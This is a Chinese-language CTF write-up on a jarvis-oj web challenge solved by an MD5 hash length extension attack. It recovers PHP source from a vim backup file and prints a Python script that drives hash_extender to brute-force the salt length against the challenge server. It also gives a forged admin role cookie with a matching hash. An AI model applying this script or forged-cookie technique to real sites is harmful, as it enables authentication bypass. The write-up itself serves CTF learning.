hash长度扩展攻击探索
这几天在jarvis-oj平台看见了一个有关于hash长度扩展攻击的题,第一次见,来研究下。题目名:flag在管理员中
一、
首先打开网页,习惯性的查看源代码,啥都没有,猜测可能有源代码泄露
所以我们用脚本来扫一下
我们打开第一个
有:
下载得到文件
index.php~
这个其实是php的备份恢复文件,拿到lunix下,重命名为index.php.swp ,使用命令vim -r index.php 即可恢复原来的php文件
得到源码:
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
我们通过
hash_extender+python来解密
借用大佬脚本
# -*- coding:utf-8 -*-from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):
#print x
#print y
url = "http://web.jarvisoj.com:32778/index.php"
cookie = "role=" + x + "; hsh=" + y
#print cookie
build_header = {
'Cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
'Host': 'web.jarvisoj.com:32778',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
urlparts = urlparse(url)
conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
conn.request("GET", urlparts.path, '', build_header)
resp = conn.getresponse()
body = resp.read()
return body
for i in xrange(1000):
print i
# secret len = ???
find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
#print find_hash
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = gao(attack_padding, hash_value)
if "Welcome" in ret:
print ret
break
要在hash_extender下使用此脚本
注意:
在做其他题的时候将此处网址改变
运行后得到
其实这个原理我不太同,通过网上其他大佬的解释,我们使用另一种方法
二、
我们先使用bp抓包
我们的到两个cookies
role 和 hsh 这两个非常重要
我们接下来要做的就是通过bp修改cookie的值来通过验证
我们先来审计一下源码
注意这里:
我们想使auth为true
条件是变量为admin
这个好办
如图:
之后就是后面的那个条件
hash扩展长度攻击是可以通过1.已知的hash值
2.密文的长度,或内容
3.原来的识别数据
我们可以通过使用
hashpump
进行生成新的role与hsh
注意:
1.我们可以通过代码推出原来的cookie【role】
2.注意有序列化,和字符串反向
如图:
别忘了我们将\x换为%
变为
s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b; hsh=fcdc3840332555511c4e4323f6decb07
具体怎么变得有待探讨
emm
修改后就得到了flag